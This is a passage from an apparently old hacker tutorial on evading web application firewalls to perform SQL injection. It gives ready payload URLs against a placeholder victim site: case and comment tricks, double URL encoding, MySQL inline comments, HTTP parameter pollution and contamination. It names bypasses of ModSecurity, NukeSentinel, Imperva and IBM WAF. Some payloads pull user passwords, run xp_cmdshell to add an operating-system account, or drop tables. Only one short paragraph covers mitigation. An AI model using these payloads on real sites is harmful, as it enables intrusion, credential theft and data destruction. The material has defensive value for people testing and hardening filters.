/union\\sselect/g\n\t\n\t\t[Code]---------------------------------------------------------------\t\t\n\t\thttp://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--\n\t\t[End Code]-----------------------------------------------------------\n\n\n\t3. Replaced keywords\n\n\t\tSome application and WAFs use preg_replace to remove all SQL keyword. So we can bypass easily.\t\n\t\n\t\t[Code]---------------------------------------------------------------\t\t\n\t\thttp://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--\n\t\t[End Code]-----------------------------------------------------------\n\n\t\tSome case SQL keyword was filtered out and replaced with whitespace. So we can use \"%0b\" to bypass.\n\n\t\t[Code]---------------------------------------------------------------\t\t\n\t\thttp://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--\n\t\t[End Code]-----------------------------------------------------------\n\n\t\tFor Mod_rewrite, Comments \"/**/\" cannot bypassed. So we use \"%0b\" replace \"/**/\".\n\n\t\tForbidden: http://victim.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html\n\t\tBypassed : http://victim.com/main/news/id/1%0b||%0blpad(first_name,7,1).html\n\t\n\n\n\t4. Character encoding\n\n\t\tMost CMSs and WAFs will decode and filter/bypass an application input, but some WAFs only decode the input once so \n\t\tdouble encoding can bypass certain filters as the WAF will decode the input once then filter while application keep\n\t\tdecoding the SQL statement executing\n\t\n\t\t[Code]-----------------------------------------------------------------------------------------------------------------\n\t\thttp://victim.com/news.php?id=1%252f%252a*/union%252f%252a /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--\n\t\t[End Code]-------------------------------------------------------------------------------------------------------------\n\t\t\t\t\n\t\tMoreover, these techniques can combine to bypass Citrix Netscaler\n\t\t\t- Remove all \"NULL\" words\n\t\t\t- Use query encoding in some parts\n\t\t\t- Remove the single quote character \"'\"\n\t\t\t- And Have fun !!\n\t\t\tCredit: Wendel Guglielmetti Henrique\t\n\t\t\n\t\tand \"Armorlogic Profense\" prior to 2.4.4 was bypassed by URL-encoded newline character.\n\n\n\t\t#Real World Example\n\t\t\n\t\t1. NukeSentinel (Nuke Evolution)\n\t\t\n\t\t[Nukesentinel.php Code]------------------------------------------------------------\n\t\t// Check for UNION attack\n\t\t// Copyright 2004(c) Raven PHP Scripts\n\t\t$blocker_row = $blocker_array[1];\n\t\tif($blocker_row['activate'] > 0) {\n \t\t if (stristr($nsnst_const['query_string'],'+union+') OR \\\n\t\tstristr($nsnst_const['query_string'],'%20union%20') OR \\\n\t\tstristr($nsnst_const['query_string'],'*/union/*') OR \\\n\t\tstristr($nsnst_const['query_string'],' union ') OR \\\n\t\tstristr($nsnst_const['query_string_base64'],'+union+') OR \\\n\t\tstristr($nsnst_const['query_string_base64'],'%20union%20') OR \\\n\t\tstristr($nsnst_const['query_string_base64'],'*/union/*') OR \\\n\t\tstristr($nsnst_const['query_string_base64'],' union ')) { // block_ip($blocker_row);\n\t\t die(\"BLOCK IP 1 \" );\n\t\t }\n\t\t}\n\t\t[End Code]-------------------------------------------------------------------------\n\n\t\tWe can bypass their filtering with these script:\n\t\t\n\t\tForbidden: http://victim.com/php-nuke/?/**/union/**/select…..\n\t\tBypassed : http://victim.com/php-nuke/?/%2A%2A/union/%2A%2A/select…\n\t\tBypassed : http://victim.com/php-nuke/?%2f**%2funion%2f**%2fselect…\n\n\n\t\t2. Mod Security CRS (Credit: Johannes Dahse)\n\t\t\n\t\t[SecRule]--------------------------------------------------------------------------\n\t\tSecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* \"\\bunion\\b.{1,100}?\\bselect\\b\" \\ \"phase2,rev:'2.2.1',capture,t:none,\n\t\tt:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,block,\n\t\tmsg:'SQL Injection Attack',id:'959047',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',\n\t\ttag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',\n\t\tsetvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},\n\t\tsetvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}\"\n\t\t[End Rule]-------------------------------------------------------------------------\n\n\t\tWe can bypass their filtering with this code:\n\t\t\n\t\t[Code]------------------------------------------------------------------------------\n\t\thttp://victim.com/news.php?id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user\n\t\t[End Code]--------------------------------------------------------------------------\n\n\t\tFrom this attack, We can bypass Mod Security rule. Let see what's happen !! \n\t\t\n\t\tMySQL Server supports 3 comment styles:\n\t\t\t- From a \"#\" character to the end of the line\n\t\t\t- From a \"--\" sequence to the end of the line\n\t\t\t- From a /* sequence to the following */ sequence, as in the C programming language.\n\t\t\t This syntax enables a comment to extend over multiple lines because the beginning and closing sequences need\n\t\t\t not be on the same line.\n\n\t\tThe following example, We used \"%0D%0A\" as the new line characters. Let's take a look at the first request(to extract the DB user)\n\t\tThe resulting SQL payload looked something like this:\n\n\t\t\t0 div 1 union#foo*/*/bar\n\t\t\tselect#foo\n\t\t\t1,2,current_user\n\t\t\n\t\tHowever the SQL payload, when executed by the MySQL DB, looked something like this:\n\n\t\t\t0 div 1 union select 1,2,current_user\t\n\n\n\t5. Buffer Overflow\n\n\t\tWAFs that written in the C language prone to overflow or act differently when loaded with a bunch of data.\n\t\tGive a large amount of data allows our code executing\t\n\t\n\t\t[Code]------------------------------------------------------------------------------\n\t\thttp://victim.com/news.php?id=1+and+(select 1)=(select 0x414141414141441414141414114141414141414141414141414141\n\t\t414141414141….)+union+select+1,2,version(),database(),user(),6,7,8,9,10--\n\t\t[End Code]--------------------------------------------------------------------------\n\n\t\n\t6. Inline Comments (Mysql Only)\n\n\t\tFrom MySQL 5.0 Reference Manual, MySQL Server supports some variants of C-style comments. These enable you to write\n\t\tcode that includes MySQL extensions, but is still portable, by using comments of the following form:\n\n\t\t/*! MySQL-specific code */\n\t\t\n\t\tIn this case, MySQL Server parses and executes the code within the comment as it would any other SQL statement,\n\t\tbut other SQL servers will ignore the extensions.\n\t\t\n\t\tA lot of WAFs filter SQL keywords like /union\\sselect\\ig We can bypass this filter by using inline comments.\n\t\t\n\t\t[Code]------------------------------------------------------------------------------\n\t\thttp://victim.com/news.php?id=1/*!UnIoN*/SeLecT+1,2,3--\n\t\t[End Code]--------------------------------------------------------------------------\n\t\t\n\t\tInline comments can be used throughout the SQL statement so if table_name or information_schema are filtered we can\n\t\tadd more inline comments\n\t\n\t\t[Code]------------------------------------------------------------------------------\n\t\thttp://victim.com/news.php?id=/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables\n\t\t/*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--\n\t\t[End Code]--------------------------------------------------------------------------\n\n\n\t\n########################################\t\n [0x03] - Advanced Bypassing Techniques\n########################################\n\t\t\n\tIn this section, we offer 2 techniques are \"HTTP Pollution: Split and Join\" and \"HTTP Parameter Contamination\". \nFrom these techniques can bypass a lot of OpenSource and Commercial Web application firewall (WAF)\n \n \n\t++++++++++++++++++++++++++++++++++++++++++++++++++++\n\t [0x03a] - HTTP Parameter Pollution: Split and Join\n\t++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n\t\tHTTP Pollution is a new class of injection vulnerability by Luca Carettoni and Stefano Di Paola. HPP is a quite simple but\n\teffective hacking technique. HPP attacks can be defined as the feasibility to override or add HTTP GET/POST parameters by injecting \n\tquery string. \n\n\tExample of HPP: \"http://victim.com/search.aspx?par1=val1&par1=val2\"\n\n\tHTTP Parameter Handling: (Example)\n\t\n\t+------------------------------------------------------------------+\n\t| Web Server \t | Parameter Interpretation\t | Example\t |\n\t+------------------------------------------------------------------+\n\t| ASP.NET/IIS\t | Concatenation by comma\t | par1=val1,val2 |\n\t| ASP/IIS\t | Concatenation by comma\t | par1=val1,val2 |\n\t| PHP/Apache\t | The last param is resulting | par1=val2\t |\n\t| JSP/Tomcat\t | The first param is resulting | par1=val1\t |\n\t| Perl/Apache\t | The first param is resulting | par1=val1\t |\n\t| DBMan\t\t | Concatenation by two tildes | par1=val1~~val2 |\n\t+------------------------------------------------------------------+\n\t\n\t\tWhat would happen with WAFs that do Query String parsing before applying filters ? (HPP can be used even to bypass WAFs)\n\tSome loose WAFs may analyze and validate a single parameter occurrence only (first or last one). Whenever the deal environment concatenates\n\tmultiple occurrences (ASP, ASP.NET, DBMan,…) an aggressor can split the malicious payload.\n\n\t\tIn a recent penetration test (Again), we were able to bypass a Imperva SecureSphere using \"HPP+Inline Comment\" on ASP/ASP.NET environment.\n\tThis technique can bypass other Commercial WAFs too. More information about \"HPP+Inline Comment\" show below:\t\n\n\t\n\t#Real World Example:\n\n\t1. Mod Security CRS (Credit: Lavakumar Kuppan)\n\t\t\n\t\tThe following request matches against the ModSecurity CRS as a SQL Injection attack and is blocked.\n\t\t\n\t\tForbidden: http://victim.com/search.aspx?q=select name,password from users\n\n\t\tWhen the same payload is split against multiple parameters of the same name ModSecurity fails to block it.\n\n\t\tBypassed : http://victim.com/search.aspx?q=select name&q=password from users\n\n\t\t\n\t\tLet's see what's happen, ModSecurity's interpretation is\n\t\t\n\t\tq=select name\n\t\tq=password from users\n\n\t\tASP/ASP.NET's interpretation is\n\t\tq=select name,password from users\n\n\t\t*Tip: This attack can be carried out on a POST variable in a similar way\n\n\n\t2. Commercial WAFs\n\t\t\n\t\tForbidden: http://victim.com/search.aspx?q=select name,password from users\n\n\t\tNow we use HPP+Inline comment to bypass it.\n\n\t\tBypassed : http://victim.com/search.aspx?q=select/*&q=*/name&q=password/*&q=*/from/*&q=*/users\n\n\t\t\n\t\tAnalyzing, WAF's interpretation is\n\n\t\tq=select/*\n\t\tq=*/name\n\t\tq=password/*\n\t\tq=*/from/*\n\t\tq=*/users\n\t\t\n\t\tASP/ASP.NET's interpretation is\n\t\tq=select/*,*/name,password/*,*/from/*,*/users\n\t\tq=select name,password from users\n\n\n\t3. IBM Web Application Firewall (Credit: Wendel Guglielmetti Henrique of Trustwave's SpiderLabs)\n\t\t\n\t\tForbidden: http://victim.com/news.aspx?id=1'; EXEC master..xp_cmdshell “net user zeq3ul UrWaFisShiT /add” --\n\n\t\tNow we use HPP+Inline comment to bypass it.\n\n\t\tBypassed : http://victim.com/news.aspx?id=1'; /*&id=1*/ EXEC /*&id=1*/ master..xp_cmdshell /*&id=1*/ “net user lucifer UrWaFisShiT” /*&id=1*/ --\n\n\t\t\n\t\tAnalyzing, WAF's interpretation is\n\n\t\tid=1’; /*\n\t\tid=1*/ EXEC /*\n\t\tid=1*/ master..xp_cmdshell /*\n\t\tid=1*/ “net user zeq3ul UrWaFisShiT” /*\n\t\tid=1*/ --\n\t\t\n\t\tASP/ASP.NET's interpretation is\n\t\tid=1’; /*,1*/ EXEC /*,1*/ master..xp_cmdshell /*,1*/ “net user zeq3ul UrWaFisShiT” /*,1*/ --\n\t\tid=1’; EXEC master..xp_cmdshell “net user zeq3ul UrWaFisShiT” --\n\t\t\n\n\t\tThe easiest mitigation to this attack would be for the WAF to disallow multiple instances of the same parameter in a single HTTP request. \n\tThis would prevent all variations of this attack.\n\t\tHowever this might not be possible in all cases as some applications might have a legitimate need for multiple duplicate parameters. \n\tAnd they might be designed to send and accept multiple HTTP parameters of the same name in the same request.To protect these applications the WAF \n\tshould also interpret the HTTP request in the same way the web application would.\n\n\t\t\n\t++++++++++++++++++++++++++++++++++++++++\n\t [0x03b] - HTTP Parameter Contamination\n\t++++++++++++++++++++++++++++++++++++++++\n\n\t\tHTTP Parameter Contamination (HPC) original idea comes from the innovative approach found in HPP research by \n\texploring deeper and exploiting strange behaviors in Web Server components, Web Applications and Browsers as a result of query string\n\tparameter contamination with reserved or non expects characters. \n\t\n\tSome facts:\n \t- The term Query String is commonly used to refer to the part between the \"?\" and the end of the URI\n\t- As defined in the RFC 3986, it is a series of field-value pairs\n\t- Pairs are separated by \"&\" or \";\"\n\t- RFC 2396 defines two classes of characters:\n\t\tUnreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()\n\t\tReserved : ; / ? : @ & = + $ ,\n\t\tUnwise : { } | \\ ^ [ ] ` \n\n\t\tDifferent web servers have different logic for processing special created requests. There are more web server, backend platform and special character combinations,\n\tbut we will stop here this time.\n\n\tQuery string and Web server response (Example)\n\t\n\t+-----------------------------------------------------------+\n\t| Query String\t | Web Servers response / GET values |\n\t+-----------------------------------------------------------+\n\t| \t\t | Apache/2.2.16, PHP/5.3.3 | IIS6/ASP\t |\n\t+-----------------------------------------------------------+\n\t| ?test[1=2\t | test_1=2\t \t | test[1=2\t |\n\t| ?test=% \t | test=%\t\t | test=\t |\n\t| ?test%00=1\t | test=1\t \t | test=1\t |\n\t| ?test=1%001\t | NULL\t\t | test=1\t |\n\t| ?test+d=1+2\t | test_d=1 2\t\t | test d=1 2 |\n\t+-----------------------------------------------------------+\n\t\n\tMagic character \"%\" affect to ASP/ASP.NET\t\n\n\t+--------------------------------------------------------------------+\n\t| \tKeywords | WAF \t\t | ASP/ASP.NET |\n\t+--------------------------------------------------------------------+\n\t| sele%ct * fr%om.. | sele%ct * fr%om.. \t | select * from.. |\n\t| ;dr%op ta%ble xxx | ;dr%op ta%ble xxx\t | ;drop table xxx |\n\t| \t | \t\t |